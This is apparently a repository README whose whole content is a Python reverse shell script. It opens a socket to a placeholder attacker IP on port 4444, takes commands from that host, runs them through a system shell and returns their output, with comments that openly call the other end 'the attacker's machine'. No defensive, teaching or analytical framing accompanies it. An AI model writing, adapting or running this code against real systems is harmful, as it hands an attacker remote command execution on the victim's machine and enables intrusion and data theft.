README.md
Rendering markdown...
import socket
import subprocess
import os
SERVER_IP = "change me"
# change me
SERVER_PORT = 4444
# Function to create a shell connection
def shell_connection():
# Create a socket object and connect to the attacker's machine
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# Connect to the server (attacker's machine)
client.connect((SERVER_IP, SERVER_PORT))
while True:
# Receive commands from the attacker
command = client.recv(1024).decode('utf-8')
if command.lower() == 'exit':
# If 'exit' is received, close the connection
client.send(b'Connection closed.\n')
break
elif command.startswith("cd "):
# Change directory if the command is 'cd'
try:
os.chdir(command.strip("cd ").strip())
client.send(b"Changed directory\n")
except FileNotFoundError as e:
client.send(f"Error: {e}\n".encode())
else:
# Execute the received command and send the output back
try:
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
client.send(output)
except subprocess.CalledProcessError as e:
client.send(f"Error: {e.output}\n".encode())
except Exception as e:
print(f"Error: {e}")
finally:
client.close()